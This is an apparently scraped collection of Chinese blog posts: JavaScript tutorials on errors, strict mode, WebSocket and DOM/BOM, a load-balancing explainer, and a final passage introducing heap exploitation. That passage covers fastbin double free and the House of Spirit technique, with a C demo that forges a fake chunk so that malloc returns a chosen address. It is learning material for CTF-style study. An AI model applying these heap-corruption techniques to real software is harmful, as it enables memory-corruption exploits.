抛出错误 finallly 用在try catch之后,无论是否有触发异常,都会执行 语法: try { ... //异常的抛出 } catch(e) { ... //异常的捕获与处理 } finally { ... //结束处理 } <input type="button" value="查看消息" onclick="isError()"> <script> ​ txt = ""; ​ *function* isError(){ ​ try { ​ addlert("hello world"); ​ }catch(err){ ​ txt = "本页有一个错误"; ​ txt += "错误描述" + err.message + "\n"; ​ *var* ara = *Object*.getOwnPropertyNames(err); ​ *console*.log(typeof err); ​ *console*.log(ara); ​ alert(txt); ​ } ​ } ​ </script> 严格模式 “use strict” 指令在 JavaScript 1.8.5 (ECMAScript5) 中新增。 它不是一条语句,但是是一个字面量表达式,在 JavaScript 旧版本中会被忽略。 “use strict” 的目的是指定代码在严格条件下执行。 严格模式下你不能使用未声明的变量。 支持严格格式的浏览器: Internet Explorer 10 +、 Firefox 4+ Chrome 13+、 Safari 5.1+、 Opera 12+。 为什么使用严格模式: 消除Javascript语法的一些不合理、不严谨之处,减少一些怪异行为; 消除代码运行的一些不安全之处,保证代码运行的安全; 提高编译器效率,增加运行速度; 为未来新版本的Javascript做好铺垫。 严格模式的限制 不允许使用未声明的变量,对象也是变量 不允许删除变量或对象,不允许删除函数 不允许变量重名 不允许使用八进制 不允许使用转义字符 不允许对只读属性赋值 不允许对使用getter方法获取的属性赋值 不允许删除一个不允许删除的属性 变量名不能使用eval、arguments关键字 禁止this指向全局对象 表单验证 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pMlYmrPn-1574402375865)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20191118220000688.png)] [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8TIti3u-1574402375866)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20191118220039266.png)] 数据验证 典型的数据验证有: 必需字段是否输入 用户是否输入了合法的路径 是否在数字字段输入文本 HTML约束 约束验证是表单被提交时浏览器用来实现验证的一种算法。 HTML 约束验证基于: HTML 输入属性 CSS 伪类选择器 DOM 属性和方法 约束验证 HTML 输入属性 属性 描述 disabled 规定输入的元素不可用 max 规定输入元素的最大值 min 规定输入元素的最小值 pattern 规定输入元素值的模式 required 规定输入元素字段是必需的 type 规定输入元素的类型 JSON JSON 是用于存储和传输数据的格式。 JSON 通常用于服务端向网页传递数据 。 什么是json websocktet 1、背景 很多网站为了实现推送技术,所用的技术都是Ajax轮询。轮询是在特定的的时间间隔由浏览器对服务器发出HTTP请求,然后由服务器返回最新的数据给客户端的浏览器。这种传统的模式带来很明显的缺点,即浏览器需要不断的向服务器发出请求,然而HTTP请求可能包含较长的头部,其中真正有效的数据可能只是很小的一部分,显然这样会浪费很多的带宽等资源。HTML5新增的一些新协议WebSocket,可以提供在单个TCP连接上提供全双工,双向通信,能够节省服务器资源和带宽,并且能够实时进行通信。 2、WebSocket 传统的http也是一种协议,WebSocket是一种协议,使用http服务器无法实现WebSocket, 2.1.浏览器支持情况 基本主流浏览器都支持 2.2.优点 相对于http有如下好处: 1.客户端与服务器只建立一个TCP连接,可以使用更少的连接。 2.WebSocket服务器端可以主动推送数据到客户端,更灵活高效。 3.更轻量级的协议头,减少数据传送量。 对比轮训机制 3、WebSocket用法 我们了解WebSocket是什么,有哪些优点后,怎么使用呢? 3.1.WebSocket创建 WebSocket使用了自定义协议,url模式与http略有不同,未加密的连接是ws://,加密的连接是wss://,WebSocket实例使用new WebSocket()方法来创建, var Socket = new WebSocket(url, [protocol] ); 第一个参数 url, 指定连接的 URL。第二个参数 protocol 是可选的,指定了可接受的子协议。 3.2.WebSocket属性 当创建ws对象后,readyState为ws实例状态,共4种状态 0 表示连接尚未建立。 1 表示连接已建立,可以进行通信。 2 表示连接正在进行关闭。 3 表示连接已经关闭或者连接不能打开。 **Tips:**在发送报文之前要判断状态,断开也应该有重连机制。 3.3.WebSocket事件 在创建ws实例对象后,会拥有以下几个事件,根据不同状态可在事件回调写方法。 ws.onopen 连接建立时触发 ws.onmessage 客户端接收服务端数据时触发 ws.onerror 通信发生错误时触发 ws.onclose 连接关闭时触发 ws.onmessage = (res) => { console.log(res.data); }; ws.onopen = () => { console.log('OPEN...'); }; ws.onclose=()=>{ console.log('CLOSE...'); } 3.4.WebSocket方法 ws.send() 使用连接发送数据(只能发送纯文本数据) ws.close() 关闭连接 4、Demo演示 了解WebSocket的一些API之后,趁热打铁,做一个小案例跑一下。 4.1.Node服务器端 WebSocket协议与Node一起用非常好,原因有以下两点: 1.WebSocket客户端基于事件编程与Node中自定义事件差不多。 2.WebSocket实现客户端与服务器端长连接,Node基本事件驱动的方式十分适合高并发连接 创建一个webSocket.js如下: const WebSocketServer = require('ws').Server; const wss = new WebSocketServer({ port: 8080 }); wss.on('connection', function (ws) { console.log('client connected'); ws.on('message', function (message) { ws.send('我收到了' + message); }); }); 打开windows命令窗口运行 4.2.HTML客户端 新建一个index.html页面 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>webSocket小Demo</title> </head> <body> <div class="container"> <div> <input type="text" id="msg"> <button onclick="sendMsg()">发送报文</button> </div> </div> <script> const ws = new WebSocket('ws://localhost:8080'); ws.onmessage = (res) => { console.log(res); }; ws.onopen = () => { console.log('OPEN...'); }; ws.onclose = () => { console.log('CLOSE...'); } function sendMsg() { let msg = document.getElementById('msg').value; ws.send(msg); } </script> </body> 打开浏览器依次输入字符1,2,3,每次输入完点击发送报体,可见在ws.onmessage事件中res.data中返回来我们发的报文 5、问题与总结 以上只是简单的介绍了下WebSocket的API与简单用法,在处理高并发,长连接这些需求上,例如聊天室,可能WebSocket的http请求更加合适高效。

优秀的个人博客,低调大师

负载均衡概念入门

当个人电脑刚刚开始走进人们工作和生活领域时,一个家庭通常最多只有1台电脑。孩子们白天使用电脑玩游戏,而大人们晚上通过电脑在论坛上灌水。但现如今只有一台电脑的家庭很容易出现每个人在同一时间都需要使用电脑的情况。这或多或少与IT行业发生的情况相同。因为计算机已经变得越来越普遍了,对服务和服务器的需求已经增加到它们可能因为过度使用而宕机的程度。幸运的是,我们现在有负载均衡的概念来帮助我们处理这一需求。 什么是负载均衡? 负载均衡是一个通用的术语,指的是为了确保你所管理的资源得到有效分配而做的任何事情。对于网络服务器的系统管理员来说,负载均衡通常意味着确保网络服务器软件(如Nginx)配置了足够的worker节点以处理激增的访客。换句话说,如果一个网站突然变得非常受欢迎,其访客数量在几分钟之内翻了几倍,运行服务器的软件必须能够对这一情况做出反应,而不会让用户感到访问变得不流畅。对于简单的站点来说,只需要进行简单的配置即可,但对于具有动态内容并且每个用户几个数据库查询的复杂站点,这可能是一个难以处理的问题。 这个问题本应随着云计算的发展而解决,但是,当一个网络应用遇到意外的激增时,也有可能无法及时进行扩容。 当谈及负载均衡的时候,请记住一点分布式资源并不意味着均匀分配。并不是所有任务都一直需要所有可用的资源。一个智能的负载均衡策略应该只在合适的时候为用户和任何提供资源。当然,这通常是开发工程师处理而不是IT基础架构部门的工作。异步应用可以当用户短暂离开时而不在服务器上占用有价值的资源。 负载均衡的工作原理 负载均衡通过在多个计算节点上分布工作负载而避免了瓶颈。那些节点可能是数据中心的物理服务器、云端中的容器、面向边缘计算场景设置的服务器、在复杂应用程序框架中的Java虚拟机(Java Virtual Machines)或者运行在单个Linux服务器上的daemon。 具体实现原理是将大问题拆分成若干个小任务,并为每个任务分配指定计算机。例如,对于需要用户登录的网页,网页可能被托管在Server A上,与此同时登陆页面以及所有身份验证lookups被托管在Server B上。这种部署方式可以使得一个新用户登录到账号上时无需从其他活跃用户处使用资源。 云端负载均衡 云计算使用容器,所以通常没有独立的物理服务器来处理不同的任务(实际上,有许多独立的服务器,但它们被集中在一起,作为一个计算 "大脑")。相反,一个 "pod "是由几个容器创建的。当一个pod由于其用户或任务负载而开始耗尽资源时,会生成一个相同的pod。Pod之间共享存储和网络资源,每个pod在创建时被分配到一个计算节点。pod可以根据负载的需要创建或销毁,这样,无论有多少用户,用户都能体验到一致的服务质量。 边缘计算 边缘计算在进行负载均衡时需要考虑到物理世界。云是一个分布式系统,但在实际上,云的节点通常集中在几个数据中心。用户离运行云的数据中心越远,他们就必须克服更多的物理障碍以获得最佳服务。即使有光纤连接和适当的负载均衡,位于3000公里外的服务器的响应时间也可能比300公里外的服务器响应时间更长。 边缘计算将计算节点带到云的“边缘”以试图弥合地理鸿沟,从而形成一种用于云端的卫星网络,所以它在良好的负载均衡中也发挥了作用。 什么是负载均衡算法? 负载均衡有很多策略,它们的复杂程度取决于所涉及的技术和需求的不同。负载均衡不一定很复杂,即使使用Kubernetes或Keepalived这样的专业软件,也要从一开始就进行负载均衡。 当你的应用程序可以自己采取简单的预防措施时,不要依赖容器来均衡负载。如果你从一开始就把你的应用程序设计成模块化且短暂的,那么你就会从巧妙的网络设计、容器编排以及未来的任何技术所带来的负载均衡机会中受益。 一些流行的算法可以指导你作为一个应用开发者或网络工程师的工作,包括: 将任务按顺序分配给服务器(这通常被称为轮询调度 round-robin) 将任务分配给目前最不繁忙的服务器 将任务分配到响应时间最好的服务器上 随机地分配任务 这些原则可以结合或加权,例如,在分配特别复杂的任务时,偏向于一个组中最强大的服务器。编排是常用的,这样管理员就不必为负载均衡鼓捣出完美的算法或策略,尽管有时要由管理员来选择使用哪种负载均衡方案的组合。 期待意外的发生 负载均衡并不是真正要确保你的所有资源在整个网络中得到均匀使用。负载均衡是指即使在意外情况发生时也要确保可靠的用户体验。良好的基础架构可以承受计算机宕机、应用程序过载、网络流量的猛烈攻击和用户错误。你可以开始思考如何让服务具有弹性,并从头开始设计相应的负载均衡。 原文链接: https://opensource.com/article/21/4/load-balancing

优秀的个人博客,低调大师

JavaScript简单快速入门

“ 别害怕顾虑,想到就去做,这世界就是这样,当你把不敢去实现梦想的时候梦想就会离你越来越远,当你勇敢地去追梦的时候,全世界都会来帮你。”你好,我是梦阳辰!未来我陪你一起成长! 01.变量 定义:变量是存储信息的“容器”,是内存单元。 1.格式: var pi;//声明变量 var x =5;//赋值 2.注意:如果重新声明变量,该变量的值不会丢失。 var name = "MengYangChen"; var name; name的值依然是MengYangChen 3.动态类型 变量的类型,为赋值语句后面数据的类型。 var x;//如果没有赋值默认为undefined var x =3; var = "MengYangChen"; 4.变量的作用域: 再javaScript中,对象和函数同样也是变量。 4.1局部变量:变量在函数内声明,变量为局部作用域,只能在函数内部访问。 function myFunction(){ var age = 20; } 注意:如果在函数内没有声明(即没有使用var关键字),改变量为全局变量。 4.2全局变量 在函数体外定义,即为全局变量。全局变量具有全局作用域,网页中所有脚本和汉数据可以使用。 4.3JavaScript 中,变量可以在使用后声明,也就是变量可以先使用再声明。 原因:变量提升:函数声明和变量声明总是会被解释器悄悄地被"提升"到方法体的最顶部。 x = 5; // 变量 x 设置为 5 elem = document.getElementById("demo"); // 查找元素 elem.innerHTML = x; // 在元素中显示 x var x; // 声明 x 注意:JavaScript 只有声明的变量会提升,初始化的不会。 var x = 5; // 初始化 x elem = document.getElementById("demo"); // 查找元素 elem.innerHTML = x + " " + y; // 显示 x 和 y var y = 7; // 初始化 y 结果: x 为:5,y 为:undefined y 输出了 undefined,这是因为变量声明 (var y) 提升了,但是初始化(y = 7) 并不会提升,所以 y 变量是一个未定义的变量。 5.变量的生命周期 开始:声明时候的初始化。 结束: 局部变量在函数执行完毕销毁。 全局变量在页面关闭后销毁。 6.JavaScript 严格模式(use strict) “use strict” 指令在 JavaScript 1.8.5 (ECMAScript5) 中新增。 它不是一条语句,但是是一个字面量表达式,在 JavaScript 旧版本中会被忽略。 “use strict” 指令只允许出现在脚本或函数的开头。 严格模式下你不能使用未声明的变量。 "use strict"; x = 3.14; // 报错 (x 未定义) 不允许删除变量或对象。 "use strict"; var x = 3.14; delete x; 不允许删除函数。 "use strict"; function x(p1, p2) {}; delete x; // 报错 不允许变量重名。 "use strict"; function x(p1, p1) {}; // 报错 不允许使用8进制,转义字符等。 为什么使用严格模式? 消除Javascript语法的一些不合理、不严谨之处,减少一些怪异行为. 严格模式"体现了Javascript更合理、更安全、更严谨的发展方向,包括IE 10在内的主流浏览器,都已经支持它,许多大项目已经开始全面拥抱它。 另一方面,同样的代码,在"严格模式"中,可能会有不一样的运行结果;一些在"正常模式"下可以运行的语句,在"严格模式"下将不能运行。 02.数据类型 1.javaScript数据类型分为: 值类型(基本类型)/原始数据类型:字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。 引用数据类型:对象(Object)、数组(Array)、函数(Function)。 2.String(字符串) 字符串可以使用单引号或双引号。 比较字符串是否相等用双等号。 2.1字符串对象 第一种:var s=“sag”;(小String,属于String类型) 第二种:var a2= new String(“ab”);(大String,属于Object类型) Sting是一个内置的类,可以直接使用。 3.Number(数字) javaScript只有一种数字类型,可以带小数点,也可以不带。很大的数据可以用科学计数法表示。 var x = 33; var x = 33.00; var y = 12e6; var y = 12e-6; 3.1注意:NaN,表示Not a Number不是一个数字,但是属于Number类型。 Infinity,表示无穷大。 0,-1,123,…小数,复数,无穷大都是属于number类型。 当除数为0时,结果为无穷大。 isNaN(数据):结果为true表示不是一个数字。 parseInt()函数:可以将字符串自动转换成数字。保留Int。 parseFloat()函数:将字符串转换成数字。 Math.Ceil()函数:向上取整。2.1会变为3。 4.Boolean数据类型 布尔(逻辑)只能有两个值:true 或 false。 注意:当某个地方一定是boolean类型时,会自动转换成boolean类型。例如if后面的括号。 NaN,0,"",null,undefined会自动转换成false。 5.Undefined 和 Null Undefined 这个值表示变量不含有值。 可以通过将变量的值设置为 null 来清空变量。 6.typeof动态的求出变量的数据类型 alert(typeof null);//Object alert(typeof NaN);//number alert(typeof undefined);//undefined 7.用”new“声明变量类型 var x = new Stirng; var y = new Number; var person = new Object; var flag = new Boolean; 8.JavaScript 变量均为对象。当您声明一个变量时,就创建了一个新的对象。 03.输出语句 javaScript可以通过不同的方式输出数据: 1.使用window.alert()弹出警告框,window可以省略。 2.使用document.write()方法将内容写到HTML文档中。 3.使用innerHTML写入到HTML元素中。 4.使用console.log()写入到浏览器控制台,console可以省略。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>输出语句</title> </head> <body> <p id = "one" ></p> <script> var x = prompt("请输入一个数据:"); var y = 3.1; alert(x); document.write(x+y); var temp = document.getElementById("one"); temp.innerHTML=x+y; console.log(x+y); </script> </body> </html> 输入数据: 可以用prompt(”请输入你的姓名:“)在页面弹出一个输出框。数据为字符串类型。 04.数组 1.javaScript数组为一个无限大的容器,数组类型可以是不一致。 2.创建方式: var nums = new Array(); news[0] = 11; news[1] = "22"; //或者 var computerBrand = new ("ASUS","DELL"); 3.数组的遍历 3.1for循环遍历 3.2for/in循环遍历 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>数组的遍历</title> </head> <body> <script> var arr = new Array(); arr[0]="MengYangChen"; arr[1]="20"; arr[2]="boy"; for(var i = 0;i<arr.length;i++){ document.write(arr[i]+"<br>"); } for(var i in arr){ document.write(arr[i]+"<br>"); } </script> </body> </html> 05.函数 JavaScript 函数语法 1.函数就是包裹在花括号中的代码块,前面使用了关键词 function: function functionname() { // 执行代码 } 或者 functionname=function{ //执行代码 } 2.具有参数的函数 function myFunction(var1,var2) { //代码 } 3.具有返回值的参数 function myFunction() { var x=5; return x; } document.getElementById("demo").innerHTML=myFunction(); function myFunction(a,b) { return a*b; } document.getElementById("demo").innerHTML=myFunction(4,3); 06.对象 1.avaScript 中的所有事物都是对象:字符串、数值、数组、函数…。 此外,JavaScript 允许自定义对象。 对象也是一个变量。对象可以包含多个值。 var computer ={brand:"ASUS",color:"silveryWhite",price:"13"}; 2.可以使用字面量来定义和创建 JavaScript 对象: var person ={ firstName : "YangChen", lastName :"Meng", age: 20, gender : "men" }; 键值对通常写法为 name : value (键与值以冒号分割)。 键值对在 JavaScript 对象通常称为 对象属性。 3.访问对象属性: person.lastName; person["lastName"]; 4.对象方法 4.1创建对象方法: methodName : function() { // 代码 } 案例: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>对象</title> </head> <body> <span id = "demo"></span> <script> var person ={ firstName :"YangChen", lastName :"Meng", age: 20, gender : "men", fullName : function() { return this.firstName + " " + this.lastName; } }; document.getElementById("demo").innerHTML=person.fullName(); </script> </body> </html> 5.访问对象的方法 objectName.methodName(); 6.创建JavaScript对象 新建对象有两种不同的方法: 6.1使用 Object 定义并创建对象的实例。 在 JavaScript 中,几乎所有的对象都是 Object 类型的实例,它们都会从 Object.prototype 继承属性和方法。 Object 构造函数创建一个对象包装器。 Object 构造函数,会根据给定的参数创建对象,具体有以下情况: 如果给定值是 null 或 undefined,将会创建并返回一个空对象。 如果传进去的是一个基本类型的值,则会构造其包装类型的对象。 如果传进去的是引用类型的值,仍然会返回这个值,经他们复制的变量保有和源对象相同的引用地址。 当以非构造函数形式被调用时,Object 的行为等同于 new Object()。 <script> var person=new Object(); person.firstname="John"; person.lastname="Doe"; person.age=50; person.eyecolor="blue"; document.write(person.firstname + " is " + person.age + " years old."); </script> 6.2使用函数来定义对象,然后创建新的对象实例。(对象构造器) <script> function person(firstname,lastname,age,eyecolor){ this.firstname=firstname; this.lastname=lastname; this.age=age; this.eyecolor=eyecolor; this.changeName=changeName; function changeName(name) { this.lastname=name; } } myFather=new person("John","Doe",50,"blue"); document.write(myFather.firstname + " is " + myFather.age + " years old."); </script> ​ 有了对象构造器,就可以创建新的对象: var myFather=new person("John","Doe",50,"blue"); var myMother=new person("Sally","Rally",48,"green"); 07.事件 1.HTML 事件是发生在 HTML 元素上的事情。 2.在事件触发时 JavaScript 可以执行一些代码。 <button onclick="displayDate()">点这里</button> <script> function displayDate(){ document.getElementById("demo").innerHTML=Date(); } </script> <p id="demo"></p> 3.常见的HTML事件 下面是一些常见的HTML事件的列表: onchange HTML 元素改变,下拉列表选中改变,或文本框内容改变。 onclick 用户点击 HTML 元素 onmouseover 用户在一个HTML元素上移动鼠标 onmouseout 用户从一个HTML元素上移开鼠标 onkeydown 用户按下键盘按键 onload 浏览器已完成页面的加载 在js中,doucument.getElementById(‘ 标签的id’);发生一个交互事件时,js和html是分离的,获取标签对象。 08.DOM 1.文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展标记语言(HTML或者XML)的标准编程接口。 w3C已经定义了一系列的DOM接口,通过这些DOM接口可以改变网页的内容、结构和样式。 DOM树 文档:一个页面就是一个文档,DOM中使用document表示。 元素:页面中的所有标签都是元素,DOM中使用element表示。 节点︰网页中的所有内容都是节点(标签、属性、文本、注释等),DOM中使用node表示。 2.获取元素 2.1根据ID获取 使用getElementById()方法可以获取带有ID的元素对象,找不到返回null。 console.dir()方法: 打印我们返回元素的对象,更好的查看里面的属性和方法。 2.2根据标签名获取 使用getElementsByTagName()方法,可以返回带有指定标签名的对象的集合。 得到的元素是动态的。 如果页面中只有一个元素,返回的还是一个伪数组。 如果没有该元素返回空的伪数组。 可以指定父元素,获取父元素内部所有指定标签名的子元素。 注意:父元素必须是单个对象(必须指明是哪一个元素对象),获取的时候不包括父元素自己。即先获取父元素,再根据父元素获取,子元素。 如: var ol = document.getElementsByTagName("ol"); console.log(ol[0].getElementsByTagName("li"); 根据类名获取元素 document.getElementsByClassName(“box”); 返回一个伪数组。 根据指定选择器返回第一个元素对象 document.querySelector(“选择器”); 根据指定选择器返回集合 document.querySelectorAll(“选择器”); var b = document.querySelectorAll(".two"); b[0].innerHTML="常"; b[1].innerHTML="有意思!"; 获取body和html标签 document.body; document.documentElement;//html 或则通过添加id,class…。 事件 JavaScript使我们有能力创建动态页面,而事件是可以被JavaScript侦测到的行为。 简单理解︰触发—响应机制。 网页中的每个元素都可以产生某些可以触发JavaScript的事件,例如,我们可以在用户点击某按钮时产生一个事件,然后去执行某些操作。 事件有三部分组成:(也称事件三要素) 事件源 <button id="btn">ff</button> var btn = document.getElementById("btn); 事件类型 如何触发,什么事件,比如鼠标点击(onclick)还是鼠标经过,还是键盘按下。 事件处理程序: 通过函数完成 执行事件的步骤。 1.获取事件源。 2.注册事件(绑定事件)。 btn.onclick=function(){ } 3.添加事件处理程序。 操作元素 JavaScript的DOM操作可以改变网页内容、结构和样式,我们可以利用DOM操作元素来改变元素里面的内容、属性等。注意以下都是属性。 改变元素的内容 innerTest和innerHTML innerTest(非标准)不识别HTML的标签,而innerHTML识别。 可以获取里面的内容,innerTest会去除空格和换行,而innerHTML保留空格和换行。 常用元素的属性操作 先获取标签元素对象,然后通过对象.属性来修改属性。 分时显示不同图片,显示不同的问候语。 1.获取当前时间。 表单元素的属性操作 利用DOM可以操作如下表单元素的属性: type,value,checked,selected,disabled <body> <button>点击我</button> <input type="text" value="输入内容"> <script> //1.获取元素 var btn = document.querySelector("button"); var input = document.querySelector("input"); //注册事件 btn.onclick = function () { input.value = '他点击我了'; //btn.disabled=true;//禁用按钮 this.disabled = true;//指向当前对象,事件函数的调用者 } </script> </body> 点击按钮密码框切换为文本框,并可以查看密码明文 1.思路将密码框改为文本框 <body> <div class="box"> <label for="pwd"> <img src="#" alt="" id="eye"/> </label> <input type="password" name="" id="pwd"> </div> <script> var eye = document.getElementById('eye'); var pwd = document.getElementById('pwd'); //注册事件 var flag =0; eye.onclick = function () { if(flag = 0 ){ pwd.type= "text"; this.src="#1"; flag = 1; } else { pwd.type = 'password'; this.src="#"; flag = 0 ; } } </script> </body> 样式属性操作 我们可以通过js修改元素的大小,颜色,位置样式 1.element.style 行内样式操作 js修改style样式操作,产生的是行内样式,css权重比较高。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>样式属性</title> <style type="text/css"> div{ width: 200px; height: 200px; background-color: red; } </style> </head> <body> <div></div> <script> //1.获取元素 var div = document.querySelector('div'); //2.注册事件,处理程序 div.onclick = function () { this.style.backgroundColor="blue"; this.style.width = "300px"; } </script> </body> 2.element.className 类名样式操作 通过写好样式,然后通过获取元素,在响应事件后,将元素的类名赋我们事先绑定好的样式来改变元素的样式。 .change{ ...... } var test = document.querySelector('div'); test.onclick = function(){ this.className = 'change'; } 如果样式修改较多,可以采用这种方式。 原先的类名会被覆盖。 如果想要保留原先的类名,可以采用以下方式: this.className = 'first change'; 获取自定义属性值 1.element.属性 获取属性值 获取内置属性值(元素本身自带的属性) 2.element.getAttribute('属性‘); 可以获取自定义属性,程序员自定义的属性 3.设置属性值 element.属性 = '值'; element.setAttribute('属性','值');//主要用于自定义属性 4.移除属性 element.removeAttribute('属性'); H5的自定义属性 自定义属性的目的:是为了保存并使用数据。有些数据可以保存到页面中而不用保存到数据库中。 自定义属性获取是通过getAttribute('属性’)获取。 但是有些自定义属性很容易引起歧义,不容易判断是元素的内置属性还是自定义属性。 <div getTime="20"><div> var di = document.querySelector('div'); 如何区分是自定义属性还是内置属性呢? H5规定自定义属性data-开头做为属性名并且赋值。 比如: <div data-index ="1"></div> 或者使用Js设置 element.setAttribute(‘data-index’,2); H5获取自定义属性的方法 1.element.getAttribute('data-indexd data-list-name=andy'); 2.H5新增element.dataset.index 或者element.dataset['index'] ie11才开始支持。 dataset是一个集合里面存放了所有以data开头的自定义属性。 如果自定义属性里面有多个-连接的单词,我们获取的时候才去驼峰命名法 ```java div.getAtrribute("data-list-name"); div.dataset.listName; 节点操作 为什么学节点操作? 获取元素通常使用两种方式: 1.利用DOM提供的方法获取元素 document.getElementById(); document.getElementByTagName(); document.querySelector(); 缺点:逻辑性不强,繁琐。 2.利用节点的层次关系获取元素(父子兄弟关系) 逻辑性强,但是兼容性差 一般节点至少拥有nodeType(节点类型),nodeName(节点名称)和nodeValue(节点值)这三个基本属性。 元素节点nodeType 为1 属性节点nodeType为2 文本节点nodeType 为3(文本节点包含文字、空格、换行等) 一般获取元素节点。 <div> <span></span> <div> 3.节点层级 利用DOM树可以把节点划分为不同的层级关系,常见的是父子兄层级关系。 父级节点 得到与元素最近的节点。找不到父节点则返回为null。 node.parentNode; 子节点 得到所有的子节点,包括元素节点,文本节点,等 parentNode.ChildNodes(标准) parentNode.ChildNodes返回包含指定节点的子节点的集合,改集合为即时更新的集合。 如果只想获得里面的元素节点,则需要专门处理,所以我们一般不提倡使用。 var ul =document. queryselector ( 'ul'); for(var i = 0; i < ul.childNodes.length; i++){ if (ul.childNodes[i].nodeType -- 1){ // ul.childNodes[i]是元素节点 console.log(ul.childNodes[i]); } 为了解决这个问题还有一种非标准的用法。 parentNode.children(非标准) parentNode.children是一个只读属性,返回所有的子元素节点。它只返回子元素节点,其余节点不返回(这个是我们重点掌握的)。 虽然children是一个非标准,但是得到了各个浏览器的支持,因此我们可以放心使用。 第一个节点和最后一个节点 父节点.firstChild 父节点.lastChild 第一个子元素和最后一个元素节点 父节点.firstElementChild 父节点.LastElementChild 4.三种动态创建元素的区别 4.1document.write() document.write("<div>fa<div>"): 会导致页面重绘:document.write是直接将内容写入页面的内容流,但是文档流执行完毕,再使用该语句,则它会导致页面全部重绘。 4.2 element.innerHTML element.innerHTML="<a href="#">dfa</a>"; 4.3 document.createElement(); var a = document.createElement(); element.appendChild(a); innerHTML是将内容写入某个DOM节点,不会导致页面全部重绘. innerHTML创建多个元素效率更高(不要拼接字符串,采取数组形式拼接),结构稍微复杂 . createElement(创建多个元素效率稍低一点点,但是结构更清晰 09.BOM 什么是BOM对象? Brower Object Model,指的是浏览器对象模型。 作用:操作浏览器窗口及窗口上的空间,实现用户和页面的动态交互。如返回,前进,刷新,地址栏,关闭窗口,缩放窗口等。 浏览器对象:指的是浏览器提供的一系列内置对象的统称。 BOM浏览器对象模型:各内置对象之间按照某种层次组织起来的模型的统称。 document(文档对象)﹔也称为DOM对象,是HTML页面当前窗体的内容,同时也是JavaScript重要组成部分之一。 history(历史对象)﹔主要用于记录浏览器的访问历史记录,也就是浏览网页的前进与后退功能。 location(地址栏对象)﹔用于获取当前浏览器中URL地址栏内的相关数据。navigator(浏览器对象)﹔用于获取浏览器的相关数据,例如浏览器的名称、版本等,也称为浏览器的嗅探器。 screen(屏幕对象):可获取与屏幕相关的数据,例如屏幕的分辨率等。 window对象 window对象是BOM中所有对象的核心,同时也是BOM中所有对象的父对象。定义在全局作用域中的变量、函数以及JavaScript中的内置函数都可以被window对象调用。 window对象的属性和方法: setTimeout()方法在执行一次后即停止了操作;setlnterval()方法一旦开始执行,在不加干涉的情况下,间歇调用将会一直执行到页面关闭为止。 若要在定时器启动后,取消该操作,可以将setTimeout()的返回值(定时器ID)传递给clearTimeout()方法;或将setlnterval()的返回值传递给clearIntexal()方法。 location对象 location对象提供的用于改变URL地址的方法,所有主流的浏览器都支持。 利用location.href可以跳转到指定的url地址中。 history对象 history对象可对用户在浏览器中访问过的URL历史记录进行操作。 出于安全方面的考虑,history对象不能直接获取用户浏览过的URL,但可以控制浏览器实现“后退”和“前进”的功能。 navigator对象 navigator对象提供了有关浏览器的信息,主流浏览器中存在的属性和方法如下: screen对象 screen对象用于返回当前渲染窗口中与屏幕相关的属性信息,如屏幕的宽度和高度等。 If your happiness depends on what somebody else does, I guess you do have a problem. 如果你的快乐与否取决于别人做了什么,我想,你真的有点问题。

优秀的个人博客,低调大师

PWN入门(Fastbin Attack)

fastbin 大小: 32位:16-64字节 0x10-0x40 64位:32-128字节 0x20-0x80 chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头) fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面 单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点 例如: free(ptr1); free(ptr2); 最后那么是这样的 fastbin -> ptr2 -> ptr1 空闲的 fastbin chunk 不会被合并,不会修改 chunk 头 拿这个例子做一下实验 #include<stdio.h>voidmain(){char*a1=malloc(0x10);memset(a1,0x41,0x10);char*a2=malloc(0x10);memset(a2,0x42,0x10);char*a3=malloc(0x10);memset(a3,0x43,0x10);char*a4=malloc(0x30);memset(a4,0x44,0x30);char*a5=malloc(0x30);memset(a5,0x45,0x30);printf("mallocdone!\n");free(a1);free(a2);free(a3);free(a4);free(a5);printf("freedone\n");} 可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向 Fastbin Double Free wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin House Of Spirit 又是全新的知识 Orz 在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的 有一些条件: fakechunk的ISMMAP位不能为1,因为free时,如果是mmap的chunk,会单独处理 fakechunk地址需要对齐,MALLOC_ALIGN_MASK fakechunk的size大小需要满足对应的fastbin的需求,同时也得对齐 fakechunk的nextchunk的大小不能小于2*SIZE_SZ,同时也不能大于av->system_mem fakechunk对应的fastbin链表头部不能是该fakechunk,即不能构成doublefree的情况 #include<stdio.h>#include<stdlib.h>intmain(){malloc(1);fprintf(stderr,"Wewilloverwriteapointertopointtoafake'fastbin'region.Thisregioncontainstwochunks.\n");unsignedlonglong*a,*b;unsignedlonglongfake_chunks[10]__attribute__((aligned(16)));fprintf(stderr,"Thefirstone:%p\n",&fake_chunks[0]);fprintf(stderr,"Thesecondone:%p\n",&fake_chunks[4]);fake_chunks[1]=0x20;//thesizefake_chunks[5]=0x1234;//nextsizefake_chunks[2]=0x4141414141414141LL;fake_chunks[6]=0x4141414141414141LL;fprintf(stderr,"Overwrittingourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[0]);a=&fake_chunks[2];fprintf(stderr,"Freeingtheoverwrittenpointer.\n");free(a);fprintf(stderr,"Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[0],&fake_chunks[2]);b=malloc(0x10);fprintf(stderr,"malloc(0x10):%p\n",b);b[0]=0x4242424242424242LL;} 通过构造 fake 